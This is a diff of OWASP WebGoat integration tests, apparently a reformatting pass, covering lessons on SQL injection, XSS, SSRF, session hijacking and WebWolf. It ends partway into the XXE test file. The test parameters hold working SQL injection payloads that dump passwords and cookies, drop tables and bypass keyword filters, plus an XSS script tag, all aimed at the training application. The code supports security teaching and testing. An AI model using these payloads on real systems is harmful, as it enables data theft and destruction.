-        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
-  }
+        //A certain amount of parallel calls should fail as optimistic locking in DB is applied
+        long countStatusCode500 = responses.stream().filter(r -> {
+            try {
+            	//System.err.println(r.get().getStatusCode());
+                return r.get().getStatusCode() != 200;
+            } catch (InterruptedException | ExecutionException e) {
+            	//System.err.println(e);
+                throw new IllegalStateException(e);
+            }
+        }).count();
+        System.err.println("counted status 500: "+countStatusCode500);
+        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
+    }
 }
--- a/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java
@ -3,24 +3,28 @@ package org.owasp.webgoat;
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;

 public class SSRFIntegrationTest extends IntegrationTest {
    
-  @Test
-  public void runTests() throws IOException {
-    startLesson("SSRF");
+    @Test
+    public void runTests() throws IOException {
+        startLesson("SSRF");
        
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("url", "images/jerry.png");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("url", "images/jerry.png");
        
-    checkAssignment(url("/WebGoat/SSRF/task1"), params, true);
-    params.clear();
-    params.put("url", "http://ifconfig.pro");
+        checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
+        params.clear();
+        params.put("url", "http://ifconfig.pro");
+        
+        checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
+        
+        checkResults("/SSRF/");
+    
+    }
    
-    checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
    
-    checkResults("/SSRF/");
-  }
 }
--- a/src/it/java/org/owasp/webgoat/SeleniumIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SeleniumIntegrationTest.java
@ -0,0 +1,111 @@
+package org.owasp.webgoat;
+
+import java.util.concurrent.TimeUnit;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.openqa.selenium.By;
+import org.openqa.selenium.WebDriver;
+import org.openqa.selenium.firefox.FirefoxBinary;
+import org.openqa.selenium.firefox.FirefoxDriver;
+import org.openqa.selenium.firefox.FirefoxOptions;
+
+import io.github.bonigarcia.wdm.WebDriverManager;
+import io.github.bonigarcia.wdm.config.DriverManagerType;
+
+public class SeleniumIntegrationTest extends IntegrationTest {
+
+	static {
+		try {
+			WebDriverManager.getInstance(DriverManagerType.FIREFOX).setup();
+		} catch (Exception e) {
+			//sometimes a 403 cause an ExceptionInInitializerError
+		}
+	}
+	private WebDriver driver;
+
+	@BeforeEach
+	public void setUpAndLogin() {
+		try {
+			FirefoxBinary firefoxBinary = new FirefoxBinary();
+			firefoxBinary.addCommandLineOptions("--headless");
+
+			FirefoxOptions firefoxOptions = new FirefoxOptions();
+			firefoxOptions.setBinary(firefoxBinary);
+			driver = new FirefoxDriver(firefoxOptions);
+			driver.get(url("/login"));
+			driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
+			// Login
+			driver.findElement(By.name("username")).sendKeys(this.getUser());
+			driver.findElement(By.name("password")).sendKeys("password");
+			driver.findElement(By.className("btn")).click();
+
+			// Check if user exists. If not, create user.
+			if (driver.getCurrentUrl().equals(url("/login?error"))) {
+				driver.get(url("/registration"));
+				driver.findElement(By.id("username")).sendKeys(this.getUser());
+				driver.findElement(By.id("password")).sendKeys("password");
+				driver.findElement(By.id("matchingPassword")).sendKeys("password");
+				driver.findElement(By.name("agree")).click();
+				driver.findElement(By.className("btn-primary")).click();
+			}
+		} catch (Exception e) {
+			System.err.println("Selenium test failed "+System.getProperty("webdriver.gecko.driver")+", message: "+e.getMessage());
+		}
+
+	}
+
+	@AfterEach
+	public void tearDown() {
+		if (null != driver) {
+			driver.close();
+		}
+	}
+
+	@Test
+	public void sqlInjection() {
+		
+		if (null==driver) return;
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson"));
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
+		driver.findElement(By.id("restart-lesson-button")).click();
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/0"));
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
+		driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonIntegrationTest.sql_2);
+		driver.findElement(By.name("query")).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/2"));
+		driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonIntegrationTest.sql_3);
+		driver.findElements(By.name("query")).get(1).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
+		driver.findElements(By.name("query")).get(2).clear();
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_add);
+		driver.findElements(By.name("query")).get(2).submit();
+		driver.findElements(By.name("query")).get(2).clear();
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/4"));
+		driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonIntegrationTest.sql_5);
+		driver.findElements(By.name("query")).get(3).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/8"));
+		driver.findElement(By.name("account")).sendKeys("Smith'");
+		driver.findElement(By.name("operator")).sendKeys("OR");
+		driver.findElement(By.name("injection")).sendKeys("'1'='1");
+		driver.findElement(By.name("Get Account Info")).click();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/9"));
+		driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_userid);
+		driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_login_count);
+		driver.findElements(By.name("Get Account Info")).get(1).click();
+	}
+
+}
--- a/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java
@ -24,22 +24,24 @@
 package org.owasp.webgoat;

 import java.util.Map;
+
 import org.junit.jupiter.api.Test;

 /**
+ *
 * @author Angel Olle Blazquez
+ *
 */
+
 class SessionManagementIT extends IntegrationTest {
    
-  private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
+    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";

-  @Test
-  void hijackSessionTest() {
-    startLesson("HijackSession");

-    checkAssignment(
-        url(HIJACK_LOGIN_CONTEXT_PATH),
-        Map.of("username", "webgoat", "password", "webgoat"),
-        false);
-  }
+    @Test
+    void hijackSessionTest() {
+        startLesson("HijackSession");
+        
+        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
+    }
 }
--- a/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java
@ -2,60 +2,48 @@ package org.owasp.webgoat;

 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;

 public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {

-  @Test
-  public void runTests() {
-    startLesson("SqlInjectionAdvanced");
+    @Test
+    public void runTests() {
+        startLesson("SqlInjectionAdvanced");

-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username_reg", "tom' AND substring(password,1,1)='t");
-    params.put("password_reg", "password");
-    params.put("email_reg", "someone@microsoft.com");
-    params.put("confirm_password", "password");
-    checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username_reg", "tom' AND substring(password,1,1)='t");
+        params.put("password_reg", "password");
+        params.put("email_reg", "someone@microsoft.com");
+        params.put("confirm_password", "password");
+        checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);

-    params.clear();
-    params.put("username_login", "tom");
-    params.put("password_login", "thisisasecretfortomonly");
-    checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
+        params.clear();
+        params.put("username_login", "tom");
+        params.put("password_login", "thisisasecretfortomonly");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);

-    params.clear();
-    params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
-    checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+        params.clear();
+        params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);

-    params.clear();
-    params.put(
-        "userid_6a",
-        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
-            + " user_system_data --");
-    checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+        params.clear();
+        params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);

-    params.clear();
-    params.put("userid_6b", "passW0rD");
-    checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
+        params.clear();
+        params.put("userid_6b", "passW0rD");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);

-    params.clear();
-    params.put(
-        "question_0_solution",
-        "Solution 4: A statement has got values instead of a prepared statement");
-    params.put("question_1_solution", "Solution 3: ?");
-    params.put(
-        "question_2_solution",
-        "Solution 2: Prepared statements are compiled once by the database management system"
-            + " waiting for input and are pre-compiled this way.");
-    params.put(
-        "question_3_solution",
-        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
-            + " resulting in a seperation of code and data.");
-    params.put(
-        "question_4_solution",
-        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
-    checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
+        params.clear();
+        params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
+        params.put("question_1_solution", "Solution 3: ?");
+        params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
+        params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
+        params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);

-    checkResults("/SqlInjectionAdvanced/");
-  }
+        checkResults("/SqlInjectionAdvanced/");
+    }
 }
--- a/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java
@ -2,77 +2,77 @@ package org.owasp.webgoat;

 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;

 public class SqlInjectionLessonIntegrationTest extends IntegrationTest {

-  public static final String sql_2 = "select department from employees where last_name='Franco'";
-  public static final String sql_3 =
-      "update employees set department='Sales' where last_name='Barnett'";
-  public static final String sql_4_drop = "alter table employees drop column phone";
-  public static final String sql_4_add = "alter table employees add column phone varchar(20)";
-  public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
-  public static final String sql_9_account = " ' ";
-  public static final String sql_9_operator = "or";
-  public static final String sql_9_injection = "'1'='1";
-  public static final String sql_10_login_count = "2";
-  public static final String sql_10_userid = "1 or 1=1";
+    public static final String sql_2 = "select department from employees where last_name='Franco'";
+    public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
+    public static final String sql_4_drop = "alter table employees drop column phone";
+    public static final String sql_4_add = "alter table employees add column phone varchar(20)";
+    public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
+    public static final String sql_9_account = " ' ";
+    public static final String sql_9_operator = "or";
+    public static final String sql_9_injection = "'1'='1";
+    public static final String sql_10_login_count = "2";
+    public static final String sql_10_userid = "1 or 1=1";

-  public static final String sql_11_a = "Smith' or '1' = '1";
-  public static final String sql_11_b = "3SL99A'  or '1'='1";
+    public static final String sql_11_a = "Smith' or '1' = '1";
+    public static final String sql_11_b = "3SL99A'  or '1'='1";

-  public static final String sql_12_a = "Smith";
-  public static final String sql_12_b =
-      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
+    public static final String sql_12_a = "Smith";
+    public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";

-  public static final String sql_13 = "%update% '; drop table access_log ; --'";
+    public static final String sql_13 = "%update% '; drop table access_log ; --'";

-  @Test
-  public void runTests() {
-    startLesson("SqlInjection");
+    @Test
+    public void runTests() {
+        startLesson("SqlInjection");

-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("query", sql_2);
-    checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("query", sql_2);
+        checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);

-    params.clear();
-    params.put("query", sql_3);
-    checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
+        params.clear();
+        params.put("query", sql_3);
+        checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);

-    params.clear();
-    params.put("query", sql_4_add);
-    checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
+        params.clear();
+        params.put("query", sql_4_add);
+        checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);

-    params.clear();
-    params.put("query", sql_5);
-    checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
+        params.clear();
+        params.put("query", sql_5);
+        checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);

-    params.clear();
-    params.put("operator", sql_9_operator);
-    params.put("account", sql_9_account);
-    params.put("injection", sql_9_injection);
-    checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
+        params.clear();
+        params.put("operator", sql_9_operator);
+        params.put("account", sql_9_account);
+        params.put("injection", sql_9_injection);
+        checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);

-    params.clear();
-    params.put("login_count", sql_10_login_count);
-    params.put("userid", sql_10_userid);
-    checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
+        params.clear();
+        params.put("login_count", sql_10_login_count);
+        params.put("userid", sql_10_userid);
+        checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);

-    params.clear();
-    params.put("name", sql_11_a);
-    params.put("auth_tan", sql_11_b);
-    checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
+        params.clear();
+        params.put("name", sql_11_a);
+        params.put("auth_tan", sql_11_b);
+        checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);

-    params.clear();
-    params.put("name", sql_12_a);
-    params.put("auth_tan", sql_12_b);
-    checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
+        params.clear();
+        params.put("name", sql_12_a);
+        params.put("auth_tan", sql_12_b);
+        checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);

-    params.clear();
-    params.put("action_string", sql_13);
-    checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
+        params.clear();
+        params.put("action_string", sql_13);
+        checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);

-    checkResults("/SqlInjection/");
-  }
+        checkResults("/SqlInjection/");
+
+    }
 }
--- a/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java
@ -1,85 +1,70 @@
 package org.owasp.webgoat;

-import static org.hamcrest.CoreMatchers.containsString;
-
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;

+import static org.hamcrest.CoreMatchers.containsString;
+
 public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {

-  @Test
-  public void runTests() {
-    startLesson("SqlInjectionMitigations");
+    @Test
+    public void runTests() {
+        startLesson("SqlInjectionMitigations");

-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("field1", "getConnection");
-    params.put("field2", "PreparedStatement prep");
-    params.put("field3", "prepareStatement");
-    params.put("field4", "?");
-    params.put("field5", "?");
-    params.put("field6", "prep.setString(1,\"\")");
-    params.put("field7", "prep.setString(2,\\\"\\\")");
-    checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("field1", "getConnection");
+        params.put("field2", "PreparedStatement prep");
+        params.put("field3", "prepareStatement");
+        params.put("field4", "?");
+        params.put("field5", "?");
+        params.put("field6", "prep.setString(1,\"\")");
+        params.put("field7", "prep.setString(2,\\\"\\\")");
+        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);

-    params.put(
-        "editor",
-        "try {\r\n"
-            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
-            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
-            + " = ?\");\r\n"
-            + "    prep.setString(1,\"me\");\r\n"
-            + "    prep.execute();\r\n"
-            + "    System.out.println(conn);   //should output 'null'\r\n"
-            + "} catch (Exception e) {\r\n"
-            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
-            + "}");
-    checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
+        params.put("editor", "try {\r\n" +
+                "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
+                "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
+                "    prep.setString(1,\"me\");\r\n" +
+                "    prep.execute();\r\n" +
+                "    System.out.println(conn);   //should output 'null'\r\n" +
+                "} catch (Exception e) {\r\n" +
+                "    System.out.println(\"Oops. Something went wrong!\");\r\n" +
+                "}");
+        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);

-    params.clear();
-    params.put(
-        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
-    checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
+        params.clear();
+        params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+        checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);

-    params.clear();
-    params.put(
-        "userid_sql_only_input_validation_on_keywords",
-        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
-    checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
+        params.clear();
+        params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+        checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);

-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .get(
-            url(
-                "/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
-                    + " else id end)"))
-        .then()
-        .statusCode(200);
+        RestAssured.given()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
+                .then()
+                .statusCode(200);

-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
-        .then()
-        .statusCode(500)
-        .body(
-            "trace",
-            containsString(
-                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
-                    + " 'out of order' order by"));
+        RestAssured.given()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
+                .then()
+                .statusCode(500)
+                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));

-    params.clear();
-    params.put("ip", "104.130.219.202");
-    checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
+        params.clear();
+        params.put("ip", "104.130.219.202");
+        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);

-    checkResults();
-  }
+        checkResults();
+    }
 }
--- a/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java
@ -2,55 +2,50 @@ package org.owasp.webgoat;

 import static org.junit.jupiter.api.Assertions.assertTrue;

-import io.restassured.RestAssured;
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;

+import io.restassured.RestAssured;
+
 public class WebWolfIntegrationTest extends IntegrationTest {
    
-  @Test
-  public void runTests() throws IOException {
-    startLesson("WebWolfIntroduction");
+    @Test
+    public void runTests() throws IOException {
+        startLesson("WebWolfIntroduction");
        
-    // Assignment 3
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("email", this.getUser() + "@webgoat.org");
-    checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
+        //Assignment 3
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("email", this.getUser()+"@webgoat.org");
+        checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
        
-    String responseBody =
+        String responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/mail"))
+                .then()
+                .extract().response().getBody().asString();
+        
+        String uniqueCode = responseBody.replace("%20", " ");
+        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
+        params.clear();
+        params.put("uniqueCode", uniqueCode);
+        checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
+        
+        //Assignment 4
+        RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())   
+                        .queryParams(params)
+                        .get(url("/WebGoat/WebWolf/landing/password-reset"))                        
+                        .then()
+                        .statusCode(200);
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/WebWolf/mail"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-
-    String uniqueCode = responseBody.replace("%20", " ");
-    uniqueCode =
-        uniqueCode.substring(
-            21 + uniqueCode.lastIndexOf("your unique code is: "),
-            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
-    params.clear();
-    params.put("uniqueCode", uniqueCode);
-    checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
-
-    // Assignment 4
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .queryParams(params)
-        .get(url("/WebGoat/WebWolf/landing/password-reset"))
-        .then()
-        .statusCode(200);
-    RestAssured.given()
        .when()
        .relaxedHTTPSValidation()
        .cookie("WEBWOLFSESSION", getWebWolfCookie())
@ -58,22 +53,20 @@ public class WebWolfIntegrationTest extends IntegrationTest {
        .get(webWolfUrl("/landing"))                        
        .then()
        .statusCode(200);
-    responseBody =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/WebWolf/requests"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    assertTrue(responseBody.contains(uniqueCode));
-    params.clear();
-    params.put("uniqueCode", uniqueCode);
-    checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
+        responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/requests"))
+                .then()
+                .extract().response().getBody().asString();
+        assertTrue(responseBody.contains(uniqueCode));
+        params.clear();
+        params.put("uniqueCode", uniqueCode);
+        checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
+        
+        checkResults("/WebWolf");
+        
+    }
    
-    checkResults("/WebWolf");
-  }
 }
--- a/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java
@ -1,80 +1,68 @@
 package org.owasp.webgoat;

 import io.restassured.RestAssured;
+
 import java.util.HashMap;
 import java.util.Map;
+
 import org.junit.jupiter.api.Test;

 public class XSSIntegrationTest extends IntegrationTest {

-  @Test
-  public void crossSiteScriptingAssignments() {
-    startLesson("CrossSiteScripting");
    
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("checkboxAttack1", "value");
-    checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
+    @Test
+    public void crossSiteScriptingAssignments() {
+        startLesson("CrossSiteScripting");

-    params.clear();
-    params.put("QTY1", "1");
-    params.put("QTY2", "1");
-    params.put("QTY3", "1");
-    params.put("QTY4", "1");
-    params.put("field1", "<script>alert('XSS+Test')</script>");
-    params.put("field2", "111");
-    checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("checkboxAttack1", "value");
+        checkAssignment(url("/CrossSiteScripting/attack1"), params, true);

-    params.clear();
-    params.put("DOMTestRoute", "start.mvc#test");
-    checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
+        params.clear();
+        params.put("QTY1", "1");
+        params.put("QTY2", "1");
+        params.put("QTY3", "1");
+        params.put("QTY4", "1");
+        params.put("field1", "<script>alert('XSS+Test')</script>");
+        params.put("field2", "111");
+        checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);

-    params.clear();
-    params.put("param1", "42");
-    params.put("param2", "24");
+        params.clear();
+        params.put("DOMTestRoute", "start.mvc#test");
+        checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
        
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("webgoat-requested-by", "dom-xss-vuln")
-            .header("X-Requested-With", "XMLHttpRequest")
-            .formParams(params)
-            .post(url("/CrossSiteScripting/phone-home-xss"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("output");
-    String secretNumber = result.substring("phoneHome Response is ".length());
+        params.clear();
+        params.put("param1", "42");
+        params.put("param2", "24");

-    params.clear();
-    params.put("successMessage", secretNumber);
-    checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .header("webgoat-requested-by", "dom-xss-vuln")
+                        .header("X-Requested-With", "XMLHttpRequest")
+                        .formParams(params)
+                        .post(url("/CrossSiteScripting/phone-home-xss"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("output");
+        String secretNumber = result.substring("phoneHome Response is ".length());
       
-    params.clear();
-    params.put(
-        "question_0_solution",
-        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
-            + " the browser does not know that the script is malicious.");
-    params.put(
-        "question_1_solution",
-        "Solution 3: The data is included in dynamic content that is sent to a web user without"
-            + " being validated for malicious content.");
-    params.put(
-        "question_2_solution",
-        "Solution 1: The script is permanently stored on the server and the victim gets the"
-            + " malicious script when requesting information from the server.");
-    params.put(
-        "question_3_solution",
-        "Solution 2: They reflect the injected script off the web server. That occurs when input"
-            + " sent to the web server is part of the request.");
-    params.put(
-        "question_4_solution",
-        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
-            + " the browser executes.");
-    checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
+        params.clear();
+        params.put("successMessage", secretNumber);
+        checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
        
-    checkResults("/CrossSiteScripting/");
-  }
+        params.clear();
+        params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
+        params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
+        params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
+        params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
+        params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
+        checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
+
+        checkResults("/CrossSiteScripting/");
+
+    }
 }
--- a/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java
@ -2,125 +2,98 @@ package org.owasp.webgoat;

 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import org.junit.jupiter.api.Test;
+
 import java.io.IOException;
 import java.nio.file.Files;
